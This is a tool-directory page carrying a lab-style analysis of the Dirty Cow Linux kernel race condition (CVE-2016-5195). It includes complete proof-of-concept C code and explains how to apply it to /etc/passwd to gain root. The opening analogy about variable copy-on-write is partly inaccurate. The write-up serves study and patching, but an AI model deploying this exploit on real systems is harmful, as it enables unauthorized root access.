Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Research-CVE-2016-5195 | Kitploit
Tools/GitHubGitHub/h1n4mx0z/research-cve-2016-5195
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubh1n4mx0z/research-cve-2016-5195

Research-CVE-2016-5195

View Repository
2 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2016-5195 (Dirty Cow)

Cow stands for copy-on-write, it has existed on Linux kernels since 2007 and was discovered in 2016. Since I am working on a lab related to this CVE, I will take the opportunity to write an analysis about it.

1. Introduction

Because the kernel runs under root privileges, it can be exploited as a privilege escalation vulnerability. This means that an attacker can take advantage of a Race condition to gain root access by exploiting it from a low-privileged user.

2. So what is a race condition?

As I just learned in the operating systems theory course, a Race condition occurs when two or more processes access the same resource and perform operations on it without proper synchronization. In such cases, the outcome of these operations may be incorrect or unexpected.

To make it easier to understand, let's look at a simple example:

root@kitploit:~
a = "h1n4m";   # we assign a string to a
b = a;         # then assign b = a

Here, although we have two variables, both point to the same memory object. This is an operating system mechanism because it is unnecessary to double the memory capacity for identical values. The OS will wait until a copy is modified, at which point it will allocate separate memory for the other variable.

root@kitploit:~
b += "dep trai vcl"   # modify the value of b, specifically appending a string

At this point, the OS performs the following steps:

  1. Allocate memory for the new modified variable.
  2. Read the original content of the object being copied.
  3. Apply any necessary changes to it, i.e., append "dep trai vcl".
  4. Write the modified content into the newly allocated memory space.

The condition occurs between steps 2 and 4, tricking the memory mapping into writing the modified content into the original memory space instead of the newly allocated one. This causes us to modify the memory belonging to a, i.e., the original object, even though we only have read-only privileges on a.

3. Dirty Cow

Now for the main part: what is the idea behind the exploit? As we know, a user's privileges are defined in the /etc/passwd file, and only root can modify this file. So can we exploit the Race condition to change the content of /etc/passwd from a user who only has read permission?

The answer is yes. First, let's analyze the exploit code applied to a simpler example: Source: https://tsitsiflora.medium.com/dirty-cow-vulnerability-an-analysis-fdf50243dc6

First, we create a file dirtycow with permissions 644 (only root can write). We see that when we try to write "Hello" to the file, we get Permission denied.

So the target object is ready. Now for the exploit code:

root@kitploit:~
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
    pthread_t pth1,pth2;
    struct stat st;
    int file_size;

    int f=open("dirtycow", O_RDONLY);

    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    char *position = strstr(map,"h1n4m");                        

    pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
    pthread_create(&pth2, NULL, writeThread, position);             

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
}

This exploit consists of three threads: the main thread, the writeThread, and the madvise thread.

The main thread maps our file into memory:

root@kitploit:~
    // First we open our file (note that it is opened in read-only mode)
    int f=open("dirtycow", O_RDONLY);

    // Then we map it into COW memory using MAP_PRIVATE
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

Find the location of the pattern to replace:

root@kitploit:~
    // Use strstr to find the position of "h1n4m" in the mapped memory
    char *position = strstr(map,"h1n4m");

Then we start two threads, writeThread and madviseThread.

root@kitploit:~
pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
    pthread_create(&pth2, NULL, writeThread, position);             

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

writeThread:

root@kitploit:~
    void *writeThread(void *arg)
    {
        char *content= "h4ck3r";
        off_t offset = (off_t) arg;
    
        int f=open("/proc/self/mem", O_RDWR);
        while(1) {
            // Move the pointer to exactly the position to change
            lseek(f, offset, SEEK_SET);
            // Change in memory
            write(f, content, strlen(content));
        }
    }

This thread's job is to replace the string h1n4m with h4ck3r (or anything you want :> dangerous, right?), but because the memory map is copy-on-write, this thread can only modify the content on the copy of the mapped memory and does not cause any change to the file??

So what is the danger? Let's look at the other thread.

madviseThread

root@kitploit:~
    void *madviseThread(void *arg)
    {
        int file_size = (int) arg;
        while(1){
            madvise(map, file_size, MADV_DONTNEED);
        }
    }

This thread does only one thing: it discards the copy of the mapped memory, so the pointer may revert to the original mapped memory or the initially mapped memory.

If these two threads execute sequentially (non-multithreaded), the changes always affect only the copy of the mapped memory and pose no danger to our privileged file. But if these two threads are called simultaneously by the system (multithreading), what happens? Exactly, a Race condition. At some point, the system gets confused and points the pointer back to the original mapped memory, modifying data in the root-owned file even though we have no write permission. But the OS does not always make such a mistake, so we run the two threads in an infinite loop. As soon as the system makes one mistake, everything goes according to our plan.

Let's exploit

Back to the main issue: the /etc/passwd file is a file that only root can modify. We need to apply the above knowledge to change the group of a low-privileged user in the /etc/passwd file.

  • PoC As a low-privileged user, we do not have write permission to the dirtycow file. The low user has been promoted to the same group as root (1001 -> 0000)

4. Summary

Through this analysis, I have introduced you to CVE-2016-5195, known as "Dirty Cow". Besides modifying groups, we can also add an entirely new user to the system; the method remains the same. Although this CVE was discovered a long time ago, many systems still using old kernels remain vulnerable. I hope this article gives you a general understanding of the CVE and how to protect your own systems. (Update your kernel!!!!)

I am h1n4m. Peaceeeee.

Download Tool